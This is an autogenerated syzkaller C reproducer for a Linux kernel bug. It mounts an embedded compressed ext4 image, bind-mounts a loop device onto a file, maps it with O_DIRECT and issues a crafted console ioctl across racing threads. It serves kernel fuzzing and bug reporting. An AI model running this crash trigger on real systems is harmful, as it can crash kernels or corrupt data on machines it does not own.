// https://syzkaller.appspot.com/bug?id=de3f8ed467b7ff2e84cb3f1fe82bbf32ec7b687d // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef __NR_memfd_create #define __NR_memfd_create 319 #endif static unsigned long long procid; static void sleep_ms(uint64_t ms) { usleep(ms * 1000); } static uint64_t current_time_ms(void) { struct timespec ts; if (clock_gettime(CLOCK_MONOTONIC, &ts)) exit(1); return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000; } static void thread_start(void* (*fn)(void*), void* arg) { pthread_t th; pthread_attr_t attr; pthread_attr_init(&attr); pthread_attr_setstacksize(&attr, 128 << 10); int i = 0; for (; i < 100; i++) { if (pthread_create(&th, &attr, fn, arg) == 0) { pthread_attr_destroy(&attr); return; } if (errno == EAGAIN) { usleep(50); continue; } break; } exit(1); } typedef struct { int state; } event_t; static void event_init(event_t* ev) { ev->state = 0; } static void event_reset(event_t* ev) { ev->state = 0; } static void event_set(event_t* ev) { if (ev->state) exit(1); __atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE); syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000); } static void event_wait(event_t* ev) { while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0); } static int event_isset(event_t* ev) { return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE); } static int event_timedwait(event_t* ev, uint64_t timeout) { uint64_t start = current_time_ms(); uint64_t now = start; for (;;) { uint64_t remain = timeout - (now - start); struct timespec ts; ts.tv_sec = remain / 1000; ts.tv_nsec = (remain % 1000) * 1000 * 1000; syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts); if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) return 1; now = current_time_ms(); if (now - start > timeout) return 0; } } //% This code is derived from puff.{c,h}, found in the zlib development. The //% original files come with the following copyright notice: //% Copyright (C) 2002-2013 Mark Adler, all rights reserved //% version 2.3, 21 Jan 2013 //% This software is provided 'as-is', without any express or implied //% warranty. In no event will the author be held liable for any damages //% arising from the use of this software. //% Permission is granted to anyone to use this software for any purpose, //% including commercial applications, and to alter it and redistribute it //% freely, subject to the following restrictions: //% 1. The origin of this software must not be misrepresented; you must not //% claim that you wrote the original software. If you use this software //% in a product, an acknowledgment in the product documentation would be //% appreciated but is not required. //% 2. Altered source versions must be plainly marked as such, and must not be //% misrepresented as being the original software. //% 3. This notice may not be removed or altered from any source distribution. //% Mark Adler madler@alumni.caltech.edu //% BEGIN CODE DERIVED FROM puff.{c,h} #define MAXBITS 15 #define MAXLCODES 286 #define MAXDCODES 30 #define MAXCODES (MAXLCODES + MAXDCODES) #define FIXLCODES 288 struct puff_state { unsigned char* out; unsigned long outlen; unsigned long outcnt; const unsigned char* in; unsigned long inlen; unsigned long incnt; int bitbuf; int bitcnt; jmp_buf env; }; static int puff_bits(struct puff_state* s, int need) { long val = s->bitbuf; while (s->bitcnt < need) { if (s->incnt == s->inlen) longjmp(s->env, 1); val |= (long)(s->in[s->incnt++]) << s->bitcnt; s->bitcnt += 8; } s->bitbuf = (int)(val >> need); s->bitcnt -= need; return (int)(val & ((1L << need) - 1)); } static int puff_stored(struct puff_state* s) { s->bitbuf = 0; s->bitcnt = 0; if (s->incnt + 4 > s->inlen) return 2; unsigned len = s->in[s->incnt++]; len |= s->in[s->incnt++] << 8; if (s->in[s->incnt++] != (~len & 0xff) || s->in[s->incnt++] != ((~len >> 8) & 0xff)) return -2; if (s->incnt + len > s->inlen) return 2; if (s->outcnt + len > s->outlen) return 1; for (; len--; s->outcnt++, s->incnt++) { if (s->in[s->incnt]) s->out[s->outcnt] = s->in[s->incnt]; } return 0; } struct puff_huffman { short* count; short* symbol; }; static int puff_decode(struct puff_state* s, const struct puff_huffman* h) { int first = 0; int index = 0; int bitbuf = s->bitbuf; int left = s->bitcnt; int code = first = index = 0; int len = 1; short* next = h->count + 1; while (1) { while (left--) { code |= bitbuf & 1; bitbuf >>= 1; int count = *next++; if (code - count < first) { s->bitbuf = bitbuf; s->bitcnt = (s->bitcnt - len) & 7; return h->symbol[index + (code - first)]; } index += count; first += count; first <<= 1; code <<= 1; len++; } left = (MAXBITS + 1) - len; if (left == 0) break; if (s->incnt == s->inlen) longjmp(s->env, 1); bitbuf = s->in[s->incnt++]; if (left > 8) left = 8; } return -10; } static int puff_construct(struct puff_huffman* h, const short* length, int n) { int len; for (len = 0; len <= MAXBITS; len++) h->count[len] = 0; int symbol; for (symbol = 0; symbol < n; symbol++) (h->count[length[symbol]])++; if (h->count[0] == n) return 0; int left = 1; for (len = 1; len <= MAXBITS; len++) { left <<= 1; left -= h->count[len]; if (left < 0) return left; } short offs[MAXBITS + 1]; offs[1] = 0; for (len = 1; len < MAXBITS; len++) offs[len + 1] = offs[len] + h->count[len]; for (symbol = 0; symbol < n; symbol++) if (length[symbol] != 0) h->symbol[offs[length[symbol]]++] = symbol; return left; } static int puff_codes(struct puff_state* s, const struct puff_huffman* lencode, const struct puff_huffman* distcode) { static const short lens[29] = {3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31, 35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258}; static const short lext[29] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0}; static const short dists[30] = { 1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193, 257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145, 8193, 12289, 16385, 24577}; static const short dext[30] = {0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13}; int symbol; do { symbol = puff_decode(s, lencode); if (symbol < 0) return symbol; if (symbol < 256) { if (s->outcnt == s->outlen) return 1; if (symbol) s->out[s->outcnt] = symbol; s->outcnt++; } else if (symbol > 256) { symbol -= 257; if (symbol >= 29) return -10; int len = lens[symbol] + puff_bits(s, lext[symbol]); symbol = puff_decode(s, distcode); if (symbol < 0) return symbol; unsigned dist = dists[symbol] + puff_bits(s, dext[symbol]); if (dist > s->outcnt) return -11; if (s->outcnt + len > s->outlen) return 1; while (len--) { if (dist <= s->outcnt && s->out[s->outcnt - dist]) s->out[s->outcnt] = s->out[s->outcnt - dist]; s->outcnt++; } } } while (symbol != 256); return 0; } static int puff_fixed(struct puff_state* s) { static int virgin = 1; static short lencnt[MAXBITS + 1], lensym[FIXLCODES]; static short distcnt[MAXBITS + 1], distsym[MAXDCODES]; static struct puff_huffman lencode, distcode; if (virgin) { lencode.count = lencnt; lencode.symbol = lensym; distcode.count = distcnt; distcode.symbol = distsym; short lengths[FIXLCODES]; int symbol; for (symbol = 0; symbol < 144; symbol++) lengths[symbol] = 8; for (; symbol < 256; symbol++) lengths[symbol] = 9; for (; symbol < 280; symbol++) lengths[symbol] = 7; for (; symbol < FIXLCODES; symbol++) lengths[symbol] = 8; puff_construct(&lencode, lengths, FIXLCODES); for (symbol = 0; symbol < MAXDCODES; symbol++) lengths[symbol] = 5; puff_construct(&distcode, lengths, MAXDCODES); virgin = 0; } return puff_codes(s, &lencode, &distcode); } static int puff_dynamic(struct puff_state* s) { static const short order[19] = {16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15}; int nlen = puff_bits(s, 5) + 257; int ndist = puff_bits(s, 5) + 1; int ncode = puff_bits(s, 4) + 4; if (nlen > MAXLCODES || ndist > MAXDCODES) return -3; short lengths[MAXCODES]; int index; for (index = 0; index < ncode; index++) lengths[order[index]] = puff_bits(s, 3); for (; index < 19; index++) lengths[order[index]] = 0; short lencnt[MAXBITS + 1], lensym[MAXLCODES]; struct puff_huffman lencode = {lencnt, lensym}; int err = puff_construct(&lencode, lengths, 19); if (err != 0) return -4; index = 0; while (index < nlen + ndist) { int symbol; int len; symbol = puff_decode(s, &lencode); if (symbol < 0) return symbol; if (symbol < 16) lengths[index++] = symbol; else { len = 0; if (symbol == 16) { if (index == 0) return -5; len = lengths[index - 1]; symbol = 3 + puff_bits(s, 2); } else if (symbol == 17) symbol = 3 + puff_bits(s, 3); else symbol = 11 + puff_bits(s, 7); if (index + symbol > nlen + ndist) return -6; while (symbol--) lengths[index++] = len; } } if (lengths[256] == 0) return -9; err = puff_construct(&lencode, lengths, nlen); if (err && (err < 0 || nlen != lencode.count[0] + lencode.count[1])) return -7; short distcnt[MAXBITS + 1], distsym[MAXDCODES]; struct puff_huffman distcode = {distcnt, distsym}; err = puff_construct(&distcode, lengths + nlen, ndist); if (err && (err < 0 || ndist != distcode.count[0] + distcode.count[1])) return -8; return puff_codes(s, &lencode, &distcode); } static int puff(unsigned char* dest, unsigned long* destlen, const unsigned char* source, unsigned long sourcelen) { struct puff_state s = { .out = dest, .outlen = *destlen, .outcnt = 0, .in = source, .inlen = sourcelen, .incnt = 0, .bitbuf = 0, .bitcnt = 0, }; int err; if (setjmp(s.env) != 0) err = 2; else { int last; do { last = puff_bits(&s, 1); int type = puff_bits(&s, 2); err = type == 0 ? puff_stored(&s) : (type == 1 ? puff_fixed(&s) : (type == 2 ? puff_dynamic(&s) : -1)); if (err != 0) break; } while (!last); } *destlen = s.outcnt; return err; } //% END CODE DERIVED FROM puff.{c,h} #define ZLIB_HEADER_WIDTH 2 static int puff_zlib_to_file(const unsigned char* source, unsigned long sourcelen, int dest_fd) { if (sourcelen < ZLIB_HEADER_WIDTH) return 0; source += ZLIB_HEADER_WIDTH; sourcelen -= ZLIB_HEADER_WIDTH; const unsigned long max_destlen = 132 << 20; void* ret = mmap(0, max_destlen, PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANON, -1, 0); if (ret == MAP_FAILED) return -1; unsigned char* dest = (unsigned char*)ret; unsigned long destlen = max_destlen; int err = puff(dest, &destlen, source, sourcelen); if (err) { munmap(dest, max_destlen); errno = -err; return -1; } if (write(dest_fd, dest, destlen) != (ssize_t)destlen) { munmap(dest, max_destlen); return -1; } return munmap(dest, max_destlen); } static int setup_loop_device(unsigned char* data, unsigned long size, const char* loopname, int* loopfd_p) { int err = 0, loopfd = -1; int memfd = syscall(__NR_memfd_create, "syzkaller", 0); if (memfd == -1) { err = errno; goto error; } if (puff_zlib_to_file(data, size, memfd)) { err = errno; goto error_close_memfd; } loopfd = open(loopname, O_RDWR); if (loopfd == -1) { err = errno; goto error_close_memfd; } if (ioctl(loopfd, LOOP_SET_FD, memfd)) { if (errno != EBUSY) { err = errno; goto error_close_loop; } ioctl(loopfd, LOOP_CLR_FD, 0); usleep(1000); if (ioctl(loopfd, LOOP_SET_FD, memfd)) { err = errno; goto error_close_loop; } } close(memfd); *loopfd_p = loopfd; return 0; error_close_loop: close(loopfd); error_close_memfd: close(memfd); error: errno = err; return -1; } static void reset_loop_device(const char* loopname) { int loopfd = open(loopname, O_RDWR); if (loopfd == -1) { return; } if (ioctl(loopfd, LOOP_CLR_FD, 0)) { } close(loopfd); } static long syz_mount_image(volatile long fsarg, volatile long dir, volatile long flags, volatile long optsarg, volatile long change_dir, volatile unsigned long size, volatile long image) { unsigned char* data = (unsigned char*)image; int res = -1, err = 0, need_loop_device = !!size; char* mount_opts = (char*)optsarg; char* target = (char*)dir; char* fs = (char*)fsarg; char* source = NULL; char loopname[64]; if (need_loop_device) { int loopfd; memset(loopname, 0, sizeof(loopname)); snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid); if (setup_loop_device(data, size, loopname, &loopfd) == -1) return -1; close(loopfd); source = loopname; } mkdir(target, 0777); char opts[256]; memset(opts, 0, sizeof(opts)); if (strlen(mount_opts) > (sizeof(opts) - 32)) { } strncpy(opts, mount_opts, sizeof(opts) - 32); if (strcmp(fs, "iso9660") == 0) { flags |= MS_RDONLY; } else if (strncmp(fs, "ext", 3) == 0) { bool has_remount_ro = false; char* remount_ro_start = strstr(opts, "errors=remount-ro"); if (remount_ro_start != NULL) { char after = *(remount_ro_start + strlen("errors=remount-ro")); char before = remount_ro_start == opts ? '\0' : *(remount_ro_start - 1); has_remount_ro = ((before == '\0' || before == ',') && (after == '\0' || after == ',')); } if (strstr(opts, "errors=panic") || !has_remount_ro) strcat(opts, ",errors=continue"); } else if (strcmp(fs, "xfs") == 0) { strcat(opts, ",nouuid"); } res = mount(source, target, fs, flags, opts); if (res == -1) { err = errno; goto error_clear_loop; } res = open(target, O_RDONLY | O_DIRECTORY); if (res == -1) { err = errno; goto error_clear_loop; } if (change_dir) { res = chdir(target); if (res == -1) { err = errno; } } error_clear_loop: if (need_loop_device) reset_loop_device(loopname); errno = err; return res; } struct thread_t { int created, call; event_t ready, done; }; static struct thread_t threads[16]; static void execute_call(int call); static int running; static void* thr(void* arg) { struct thread_t* th = (struct thread_t*)arg; for (;;) { event_wait(&th->ready); event_reset(&th->ready); execute_call(th->call); __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED); event_set(&th->done); } return 0; } static void loop(void) { if (write(1, "executing program\n", sizeof("executing program\n") - 1)) { } int i, call, thread; for (call = 0; call < 8; call++) { for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0])); thread++) { struct thread_t* th = &threads[thread]; if (!th->created) { th->created = 1; event_init(&th->ready); event_init(&th->done); event_set(&th->done); thread_start(thr, th); } if (!event_isset(&th->done)) continue; event_reset(&th->done); th->call = call; __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED); event_set(&th->ready); event_timedwait(&th->done, 50 + (call == 0 ? 4000 : 0)); break; } } for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++) sleep_ms(1); } uint64_t r[1] = {0xffffffffffffffff}; void execute_call(int call) { intptr_t res = 0; switch (call) { case 0: memcpy((void*)0x20000180, "ext4\000", 5); memcpy((void*)0x20000400, "./file0\000", 8); memcpy((void*)0x200003c0, "noauto_da_alloc", 15); *(uint8_t*)0x200003cf = 0x2c; memcpy((void*)0x200003d0, "quota", 5); *(uint8_t*)0x200003d5 = 0x2c; memcpy((void*)0x200003d6, "noload", 6); *(uint8_t*)0x200003dc = 0x2c; memcpy((void*)0x200003dd, "jqfmt=vfsold", 12); *(uint8_t*)0x200003e9 = 0x2c; *(uint8_t*)0x200003ea = 0; memcpy( (void*)0x20000980, "\x78\x9c\xec\xdb\xcf\x6f\x14\x55\x1c\x00\xf0\xef\xcc\xb6\x45\x41\x68" "\x45\x14\x41\x54\x14\x8d\x8d\x3f\x5a\x5a\x50\x39\x78\xd1\x68\xe2\x41" "\x13\x13\x3d\xe0\xb1\xb6\x85\x00\x0b\x35\xb4\x26\x42\x88\x56\x63\xf0" "\x68\x48\xbc\x1b\x8f\x26\xfe\x05\x9e\xf4\x62\xd4\x93\x89\x57\xbc\x1b" "\x12\xa2\x5c\x40\x4f\x6b\x66\x77\xa6\x6c\x97\xdd\xed\x2e\x94\x5d\xe8" "\x7e\x3e\xc9\x36\xef\xed\xbc\xe9\x7b\xdf\x9d\x79\x33\x6f\xe6\xcd\x04" "\x30\xb0\xf6\x66\x7f\x92\x88\xfb\x22\xe2\x62\x44\x8c\xd6\xb2\x2b\x2a" "\x79\xa1\xac\xdc\xb5\x2b\xe7\x66\xff\xbd\x72\x6e\x36\x89\x4a\xe5\xdd" "\xbf\x93\x6a\xb9\xab\x57\xce\xcd\x16\x65\x8b\xf5\xb6\xe4\x99\xf1\x34" "\x22\xfd\x22\xc9\x2b\x59\x6d\xf1\xcc\xd9\x13\x33\xe5\xf2\xfc\xe9\x3c" "\x3f\xb9\x74\xf2\xc3\xc9\xc5\x33\x67\x5f\x38\x76\x72\xe6\xe8\xfc\xd1" "\xf9\x53\xd3\x87\x0e\x1d\x3c\x30\xf5\xf2\x4b\xd3\x2f\xae\x4b\x9c\x59" "\x7c\x57\x77\x7f\xb2\xb0\x67\xd7\x9b\xef\x5f\x78\x7b\xf6\xf0\x85\x0f" "\x7e\xfd\x3e\xc9\xbf\x8f\x86\x38\x3a\x31\xdc\x41\x99\xbd\x59\xe0\xff" "\x54\xaa\x1a\x97\x3d\xdd\x4d\x65\x77\x81\xad\x75\xe9\x64\xa8\x8f\x0d" "\xa1\x2b\xa5\x88\x18\xca\xf7\xe7\x8b\x31\x1a\xa5\xb8\xbe\xf1\x46\xe3" "\x8d\xcf\xfb\xda\x38\xe0\xb6\xca\xce\x4d\x9b\x5a\x2f\x5e\xae\x00\x1b" "\x58\x12\xfd\x6e\x01\xd0\x1f\xc5\x89\x3e\xbb\xfe\x2d\x3e\x3d\x1a\x7a" "\xdc\x11\x2e\xbf\x5a\xbb\x00\xca\xe2\xbe\x96\x7f\x6a\x4b\x86\x22\xcd" "\xcb\x0c\x37\x5c\xdf\xae\xa7\xbd\x11\x71\x78\xf9\xbf\x6f\xb2\x4f\xdc" "\xc4\x7d\x08\x00\x80\x6e\xfd\x98\x8d\x7f\x9e\x6f\x36\xfe\x4b\xa3\x7e" "\x8c\xb8\x2d\x9f\x1b\x1a\x8b\x88\xfb\x23\x62\x7b\x44\x3c\x10\x11\x3b" "\x22\xe2\xc1\x88\x78\x28\x22\x76\x46\xc4\xc3\x9d\x55\x7b\xbc\x48\x34" "\x4e\x0d\xdd\x38\xfe\x49\x2f\xdd\x6a\x8c\xed\x64\xe3\xbf\x57\xf2\xb9" "\xad\xd5\xe3\xbf\x62\xf4\x17\x63\xa5\x3c\xb7\xb5\x1a\xff\x70\x72\xe4" "\x58\x79\x7e\x7f\xfe\x9b\x8c\xc7\xf0\xa6\x2c\x3f\xd5\xa6\x8e\x9f\x5e" "\xff\xe3\xab\x56\xcb\xea\xc7\x7f\xd9\x27\xab\xff\xf0\xaa\xc9\xa5\xf4" "\xd2\x50\xc3\x0d\xba\xb9\x99\xa5\x99\x8e\x26\xa0\x3a\x70\xf9\xb3\x88" "\xdd\x43\xcd\xe2\x4f\x56\x66\x02\x92\x88\xd8\x15\x11\xbb\xbb\xfb\xd7" "\xdb\x8a\xc4\xb1\x67\xbf\xdb\xd3\xaa\x50\xd3\xf8\xf3\xb1\xf0\x9a\xd6" "\x61\x9e\xa9\xf2\x6d\xc4\x33\xb5\xed\xbf\x1c\x0d\xf1\x17\x92\xf6\xf3" "\x93\x93\xf7\x44\x79\x7e\xff\x64\xb1\x57\xdc\xe8\xb7\xdf\xcf\xbf\xd3" "\xaa\xfe\x5b\x8a\x7f\x1d\x64\xdb\x7f\xf3\xea\xfd\xbf\xb1\xc8\x58\x52" "\x3f\x5f\xbb\xd8\x7d\x1d\xe7\xff\xfc\xb2\xe5\x35\xcd\xda\xf1\x37\xdf" "\xff\x47\x92\xf7\xaa\xc7\xa3\x91\xfc\xbb\x8f\x67\x96\x96\x4e\x4f\x45" "\x8c\x24\x6f\xd5\xd6\xaa\xff\x7e\xfa\xfa\xba\x45\xbe\x28\x9f\xc5\x3f" "\xbe\xaf\x79\xff\xdf\x9e\xaf\x93\xc5\xff\x48\x44\x64\x3b\xf1\xa3\x11" "\xf1\x58\x44\x3c\x9e\xb7\xfd\x89\x88\x78\x32\x22\xf6\xb5\x89\xff\x97" "\xd7\x9e\x3a\xde\x65\xfc\x49\x9b\x7f\xb7\xae\xb2\xf8\xe7\x9a\x1e\xff" "\x56\x9a\xd0\xb0\xfd\xbb\x4f\x94\x4e\xfc\xfc\x43\xab\xfa\x3b\xdb\xfe" "\x07\xab\xa9\xf1\xfc\x9b\xea\xf1\x6f\x0d\x9d\x36\xf0\x56\x7e\x3b\x00" "\x00\x00\xb8\x5b\xa4\xd5\x67\xe0\x93\x74\x62\x25\x9d\xa6\x13\x13\xb5" "\x67\xf8\x77\xc4\xe6\xb4\xbc\xb0\xb8\xf4\xdc\x91\x85\x8f\x4e\xcd\xd5" "\x9e\x95\x1f\x8b\xe1\xb4\xb8\xd3\x35\x5a\x77\x3f\x74\x2a\x59\xce\x9f" "\x26\x8e\xea\xd5\xf7\x74\x7e\xaf\xb8\x58\x7e\x20\xbf\x6f\xfc\x75\xe9" "\xde\x6a\x7e\x62\x76\xa1\x3c\xd7\xe7\xd8\x61\xd0\x6d\xa9\xeb\xff\xdb" "\x77\x5e\xef\xff\x99\xbf\x4a\xab\xcb\xae\xcc\x88\x78\xbf\x03\x36\x0e" "\xfd\x19\x06\x57\x63\xff\x4f\xfb\xd4\x0e\xa0\xf7\x9c\xff\x61\x70\xe9" "\xff\x30\xb8\xf4\x7f\x18\x5c\xcd\xfa\xff\xa7\x0d\xf9\x52\x8f\xda\x02" "\xf4\x96\xf3\x3f\x0c\xae\xb5\xfa\x7f\xcf\xde\x46\x02\x7a\xce\xf9\x1f" "\x06\x97\xfe\x0f\x03\xa9\xdd\xbb\xf1\xc9\xcd\xbf\xf2\x2f\xd1\xdf\x44" "\x2c\xdf\xfe\x2a\xd2\x3b\x22\xd2\xdb\x95\x18\xe9\xa0\x83\x6c\xe8\xc4" "\x8d\xc7\x8a\x21\xe3\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x2e\xf4\x7f\x00" "\x00\x00\xff\xff\x18\xe0\xef\x43", 1130); syz_mount_image(/*fs=*/0x20000180, /*dir=*/0x20000400, /*flags=*/0, /*opts=*/0x200003c0, /*chdir=*/2, /*size=*/0x46a, /*img=*/0x20000980); break; case 1: memcpy((void*)0x20000000, "./file0\000", 8); syscall(__NR_chdir, /*dir=*/0x20000000ul); break; case 2: memcpy((void*)0x200000c0, "./bus\000", 6); syscall(__NR_creat, /*file=*/0x200000c0ul, /*mode=S_IXOTH|S_IWOTH|S_IROTH|S_IXUSR*/ 0x47ul); break; case 3: memcpy((void*)0x20000380, "/dev/loop", 9); *(uint8_t*)0x20000389 = 0x30; *(uint8_t*)0x2000038a = 0; memcpy((void*)0x20000140, "./bus\000", 6); syscall(__NR_mount, /*src=*/0x20000380ul, /*dst=*/0x20000140ul, /*type=*/0ul, /*flags=MS_BIND*/ 0x1000ul, /*data=*/0ul); break; case 4: memcpy((void*)0x20000080, "./bus\000", 6); res = syscall(__NR_open, /*file=*/0x20000080ul, /*flags=O_SYNC|O_NOCTTY|O_DIRECT|O_CLOEXEC|O_RDWR*/ 0x185102ul, /*mode=*/0ul); if (res != -1) r[0] = res; break; case 5: syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x800000ul, /*prot=PROT_WRITE*/ 2ul, /*flags=MAP_STACK|MAP_POPULATE|MAP_FIXED|MAP_SHARED*/ 0x28011ul, /*fd=*/r[0], /*offset=*/0ul); break; case 6: *(uint32_t*)0x20001fc0 = 2; *(uint32_t*)0x20001fc4 = 0; *(uint32_t*)0x20001fc8 = 0; *(uint32_t*)0x20001fcc = 0; *(uint8_t*)0x20001fd0 = 0; memcpy((void*)0x20001fd1, "\xeb\xee\xd7\xfd\x03\x00\x00\x00\x00\x00\x00\x96\x00\x00\x00\x08" "\x00\x00\x00", 19); *(uint32_t*)0x20001fe4 = 0; *(uint32_t*)0x20001fe8 = 0; syscall(__NR_ioctl, /*fd=*/-1, /*cmd=*/0x4b72, /*arg=*/0x20001fc0ul); break; case 7: memcpy((void*)0x20000080, "cpu.stat\000", 9); syscall(__NR_openat, /*fd=*/0xffffff9c, /*file=*/0x20000080ul, /*flags=*/0x275a, /*mode=*/0); break; } } int main(void) { syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1, /*offset=*/0ul); syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/ 7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1, /*offset=*/0ul); syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1, /*offset=*/0ul); const char* reason; (void)reason; loop(); return 0; }